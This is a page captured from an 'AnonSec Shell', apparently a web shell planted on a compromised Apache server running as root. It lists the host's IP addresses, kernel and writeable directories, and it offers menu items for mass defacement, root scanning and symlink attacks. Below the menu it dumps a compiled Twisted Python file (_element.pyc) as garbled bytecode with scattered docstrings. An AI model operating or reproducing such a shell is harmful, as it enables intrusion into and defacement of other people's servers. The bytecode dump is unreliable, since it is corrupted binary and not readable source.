AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/web/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/web/__pycache__/_element.cpython-310.pyc
o

�b7�@s�ddlmZmZmZmZmZmZmZddlm	Z	ddl
mZmZm
Z
ddlmZmZmZer6ddlmZmZed�ZGdd�d�Zd	ed
efdd�Zeddd��Ze	e�Gdd�d��Zd
S)�)�
TYPE_CHECKING�Callable�List�Optional�TypeVar�Union�overload)�implementer)�MissingRenderMethod�MissingTemplateLoader�UnexposedMethodError)�IRenderable�IRequest�ITemplateLoader)�Flattenable�Tag�Tc@s�eZdZdZdedefdd�Ze�Zedede	defdd	��Z
edede	d
edeeeffdd	��Z
efdede	d
edefdd	�Z
d
S)�Exposea/
    Helper for exposing methods for various uses using a simple decorator-style
    callable.

    Instances of this class can be called with one or more functions as
    positional arguments.  The names of these functions will be added to a list
    on the class object of which they are methods.
    �funcObjs�returncGs@|std��|D]}t|dg�}|�|�t|d|�q|dS)a;
        Add one or more functions to the set of exposed functions.

        This is a way to declare something about a class definition, similar to
        L{zope.interface.implementer}.  Use it like this::

            magic = Expose('perform extra magic')
            class Foo(Bar):
                def twiddle(self, x, y):
                    ...
                def frob(self, a, b):
                    ...
                magic(twiddle, frob)

        Later you can query the object::

            aFoo = Foo()
            magic.get(aFoo, 'twiddle')(x=1, y=2)

        The call to C{get} will fail if the name it is given has not been
        exposed using C{magic}.

        @param funcObjs: One or more function objects which will be exposed to
        the client.

        @return: The first of C{funcObjs}.
        z,expose() takes at least 1 argument (0 given)�exposedThroughr)�	TypeError�getattr�append�setattr)�selfr�fObjr�r�6/usr/lib/python3/dist-packages/twisted/web/_element.py�__call__"s
zExpose.__call__�instance�
methodNamecC�dS�Nr)rr r!rrr�getH�z
Expose.get�defaultcCr"r#r)rr r!r&rrrr$Lr%cCs<t||d�}t|dg�}||vr||jurt||��|S|S)aB
        Retrieve an exposed method with the given name from the given instance.

        @raise UnexposedMethodError: Raised if C{default} is not specified and
        there is no exposed method with the given name.

        @return: A callable object for the named method assigned to the given
        instance.
        Nr)r�
_nodefaultr)rr r!r&�methodrrrrr$Ps

N)
�__name__�
__module__�__qualname__�__doc__rr�objectr'r�strr$rrrrrrrs$	$$�����r�thunkrcCst�}|j|_|Sr#)rr,)r/�exposerrr�exposeresr1NcCsdS)a�
    Decorate with L{renderer} to use methods as template render directives.

    For example::

        class Foo(Element):
            @renderer
            def twiddle(self, request, tag):
                return tag('Hello, world.')

        <div xmlns:t="http://twistedmatrix.com/ns/twisted.web.template/0.1">
            <span t:render="twiddle" />
        </div>

    Will result in this final output::

        <div>
            <span>Hello, world.</span>
        </div>
    Nrrrrr�rendererksr2c@sneZdZUdZdZeeed<ddeefdd�Zde	de
eedgd	ffd
d�Zdeedd	fd
d�Z
dS)�Elementa�
    Base for classes which can render part of a page.

    An Element is a renderer that can be embedded in a stan document and can
    hook its template (from the loader) up to render methods.

    An Element might be used to encapsulate the rendering of a complex piece of
    data which is to be displayed in multiple different contexts.  The Element
    allows the rendering logic to be easily re-used in different ways.

    Element returns render methods which are registered using
    L{twisted.web._element.renderer}.  For example::

        class Menu(Element):
            @renderer
            def items(self, request, tag):
                ....

    Render methods are invoked with two arguments: first, the
    L{twisted.web.http.Request} being served and second, the tag object which
    "invoked" the render method.

    @ivar loader: The factory which will be used to load documents to
        return from C{render}.
    N�loadercCs|dur	||_dSdSr#)r4)rr4rrr�__init__�s
�zElement.__init__�namerrrcCs$t�||d�}|durt||��|S)z=
        Look up and return the named render method.
        N)r2r$r
)rr6r(rrr�lookupRenderMethod�s
zElement.lookupRenderMethod�requestcCs|j}|durt|��|��S)a�
        Implement L{IRenderable} to allow one L{Element} to be embedded in
        another's template or rendering output.

        (This will simply load the template from the C{loader}; when used in a
        template, the flattening engine will keep track of this object
        separately as the object to lookup renderers on and call
        L{Element.renderer} to look them up.  The resulting object from this
        method is not directly associated with this L{Element}.)
        N)r4r�load)rr8r4rrr�render�szElement.renderr#)r)r*r+r,r4rr�__annotations__r5r.rrr7r:rrrrr3�s
�
�r3)rN)�typingrrrrrrr�zope.interfacer	�twisted.web.errorr
rr�twisted.web.iwebr
rr�twisted.web.templaterrrrr1r2r3rrrr�<module>s$M

Anon7 - 2022
AnonSec Team